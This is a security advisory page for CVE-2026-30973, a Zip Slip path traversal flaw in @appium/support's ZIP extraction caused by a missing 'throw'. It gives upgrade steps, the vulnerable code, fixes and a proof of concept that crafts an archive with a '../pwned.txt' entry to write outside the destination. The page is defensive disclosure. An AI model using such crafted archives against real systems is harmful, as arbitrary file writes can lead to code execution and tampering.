CVE-2026-30973: @appium/support @appium/support Has A Zip Slip Vulnerability
MODERATECVE-2026-30973 is a MODERATE (CVSS 6.5) @appium/support has a zip slip vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting @appium/support libraries in the npm ecosystem. The issue involves @appium/support has a zip slip arbitrary file write in its zip extraction. Remediation is available by upgrading affected packages to version 7.0.6.
CVE-2026-30973 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-30973
To remediate this vulnerability, upgrade all affected @appium/support dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @appium/support@7.0.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @appium/support
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-30973, inspect your project dependencies using npm:
npm ls @appium/support
Analyze the terminal output to locate any version of @appium/support in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.6), your application is affected.
Note: The npm ls @appium/support command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In @appium/support, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-30973 Affected @appium/support Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@appium/support
|
npm |
< 7.0.6
|
7.0.6
|
References
Frequently Asked Questions
What is CVE-2026-30973?
Which @appium/support versions are affected?
What version fixes CVE-2026-30973?
Is @appium/support affected?
What is the CVSS score of CVE-2026-30973?
What CWE is associated with CVE-2026-30973?
How can I check npm dependencies for CVE-2026-30973?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rfx7-4xw3-gh4m",
"modified" : "2026-03-11T00:22:38Z",
"published" : "2026-03-11T00:22:38Z",
"aliases" : [ "CVE-2026-30973" ],
"summary" : "@appium/support has a Zip Slip arbitrary file write in its ZIP extraction",
"details" : "## Summary\n\n`@appium/support` contains a ZIP extraction implementation (`extractAllTo()` via `ZipExtractor.extract()`) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of `packages/support/lib/zip.js` creates an `Error` object but never throws it, allowing malicious ZIP entries with `../` path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the `fileNamesEncoding` option.\n\n## Severity\n\n**Medium** (CVSS 3.1: 6.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — malicious ZIP files can be supplied over the network (e.g., app packages via URL)\n- **Attack Complexity:** Low — no special conditions required beyond providing a crafted ZIP\n- **Privileges Required:** None — no authentication needed to supply a malicious archive\n- **User Interaction:** Required — a user or automation system must initiate extraction of the attacker's archive\n- **Scope:** Unchanged — impact stays within the file system permissions of the Appium process\n- **Confidentiality Impact:** None — the vulnerability enables file writes, not reads\n- **Integrity Impact:** High — arbitrary file write to any location writable by the process\n- **Availability Impact:** None — no direct availability impact\n\n## Affected Component\n\n- `packages/support/lib/zip.js` — `ZipExtractor.extract()` (line 88) and `ZipExtractor.extractEntry()` (lines 111-145)\n\n## CWE\n\n- **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\n## Description\n\n### Missing `throw` renders Zip Slip protection non-functional\n\nThe `ZipExtractor.extract()` method contains a path traversal check intended to prevent Zip Slip attacks. However, the check creates an `Error` object as a bare expression without the `throw` keyword, making it a no-op:\n\n```javascript\n// packages/support/lib/zip.js, lines 80-93\nconst destDir = path.dirname(path.join(dir, fileName));\ntry {\n await fs.mkdir(destDir, {recursive: true});\n\n const canonicalDestDir = await fs.realpath(destDir);\n const relativeDestDir = path.relative(dir, canonicalDestDir);\n\n if (relativeDestDir.split(path.sep).includes('..')) {\n new Error( // <-- BUG: missing `throw`\n `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n );\n }\n\n await this.extractEntry(entry); // extraction proceeds unconditionally\n```\n\nThe presence of a well-formatted error message and surrounding try/catch block (lines 95-99) strongly suggests the `throw` keyword was accidentally omitted.\n\n### yauzl does not provide its own traversal protection\n\nThe upstream `yauzl` library explicitly [does not offer path traversal protection](https://github.com/thejoshwolfe/yauzl#no-path-traversal-protection) regardless of the `decodeStrings` setting. This means the vulnerability affects **all** JS-based extractions through `ZipExtractor`, not only those where `fileNamesEncoding` is set. The `fileNamesEncoding` option bypasses yauzl's string decoding (`decodeStrings: false`), but even with `decodeStrings: true`, yauzl passes through `../` path components without rejection.\n\n### Unprotected write sinks\n\nThe `extractEntry` method writes to attacker-controlled paths with no additional validation:\n\n```javascript\n// packages/support/lib/zip.js, lines 111-145\nconst fileName = this.extractFileName(entry);\nconst dest = path.join(dir, fileName); // resolves ../pwned.txt outside dir\n// ...\nawait fs.symlink(link, dest); // symlink creation (line 143)\nawait pipeline(readStream, fs.createWriteStream(dest, {mode: procMode})); // file write (line 145)\n```\n\nAdditionally, `_extractEntryTo()` (line 263) used by `readEntries()` has no traversal check at all:\n\n```javascript\nconst dstPath = path.resolve(destDir, entry.fileName); // no validation\n```\n\n### Default code path is vulnerable\n\nThe `extractAllTo()` function uses the JS-based `ZipExtractor` by default. The system unzip fallback (`useSystemUnzip: true`) must be explicitly enabled and only provides protection if the system binary succeeds:\n\n```javascript\n// packages/support/lib/zip.js, lines 203-210\nif (opts.useSystemUnzip) {\n try {\n await extractWithSystemUnzip(zipFilePath, dir);\n return;\n } catch (err) {\n log.warn('unzip failed; falling back to JS: %s', err.stderr || err.message);\n // Falls through to the vulnerable JS implementation\n }\n}\n```\n\n## Proof of Concept\n\n```bash\n# 1) Install deps for the support package\ncd packages/support\nnpm install --omit=dev --ignore-scripts --no-audit --no-fund --workspaces=false\n\n# 2) Create a malicious ZIP containing a traversal entry\nexport WORK=/tmp/appium_zip_slip_poc\nrm -rf \"$WORK\" && mkdir -p \"$WORK/dest\"\npython3 - <<'PY'\nimport zipfile, os\nwork = os.environ['WORK']\nzip_path = os.path.join(work, 'evil.zip')\nwith zipfile.ZipFile(zip_path, 'w') as z:\n z.writestr('../pwned.txt', 'ZIPSLIP_MARKER')\nprint('created', zip_path)\nPY\n\n# 3) Extract with the JS implementation (default path, no fileNamesEncoding needed)\nnode --experimental-default-type=module --experimental-specifier-resolution=node - <<'NODE'\nimport path from 'node:path';\nimport fs from 'node:fs/promises';\nimport { extractAllTo } from './lib/zip.js';\n\nconst work = process.env.WORK;\nconst zipPath = path.join(work, 'evil.zip');\nconst dest = path.join(work, 'dest');\n\nawait extractAllTo(zipPath, dest, { useSystemUnzip: false });\n\nconst outside = path.join(work, 'pwned.txt');\nconsole.log('outside exists?', await fs.stat(outside).then(() => true, () => false));\nconsole.log('outside content:', (await fs.readFile(outside, 'utf8')).trim());\nNODE\n# Expected output:\n# outside exists? true\n# outside content: ZIPSLIP_MARKER\n```\n\n## Impact\n\n- **Arbitrary file write**: An attacker can write files to any location writable by the Appium process, outside the intended extraction directory.\n- **Arbitrary symlink creation**: Malicious ZIP entries with symlink attributes can create symlinks pointing to arbitrary targets, enabling further attacks on subsequent file operations.\n- **Potential code execution**: By overwriting scripts, configuration files, `node_modules` contents, cron jobs, shell profiles, or other executable artifacts, arbitrary file write can chain into remote code execution.\n- **Affects all JS-based extractions**: The default code path (without `useSystemUnzip: true`) is vulnerable regardless of whether `fileNamesEncoding` is set.\n\n## Recommended Remediation\n\n### Option 1: Add the missing `throw` keyword (preferred — minimal fix)\n\n```javascript\n// packages/support/lib/zip.js, line 88\nif (relativeDestDir.split(path.sep).includes('..')) {\n throw new Error( // Add `throw`\n `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n );\n}\n```\n\nThis is the lowest-risk fix: it restores the clearly intended behavior of the existing check. The try/catch block at lines 95-99 will catch the error, set `canceled = true`, close the zip, and reject the promise — exactly the designed error-handling flow.\n\n### Option 2: Add traversal protection to `_extractEntryTo` as well\n\nThe `_extractEntryTo` function (line 262) also lacks a traversal check. For defense-in-depth, add validation there too:\n\n```javascript\nasync function _extractEntryTo(zipFile, entry, destDir) {\n const dstPath = path.resolve(destDir, entry.fileName);\n const canonicalDest = path.resolve(dstPath);\n const canonicalDestDir = path.resolve(destDir);\n if (!canonicalDest.startsWith(canonicalDestDir + path.sep) && canonicalDest !== canonicalDestDir) {\n throw new Error(\n `Out of bound path \"${canonicalDest}\" found while processing file ${entry.fileName}`\n );\n }\n // ... rest of function\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@appium/support"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.0.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 7.0.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30973"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/appium/appium"
}, {
"type" : "WEB",
"url" : "https://github.com/appium/appium/releases/tag/@appium/support@7.0.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-11T00:22:38Z",
"nvd_published_at" : "2026-03-10T18:18:56Z"
}
}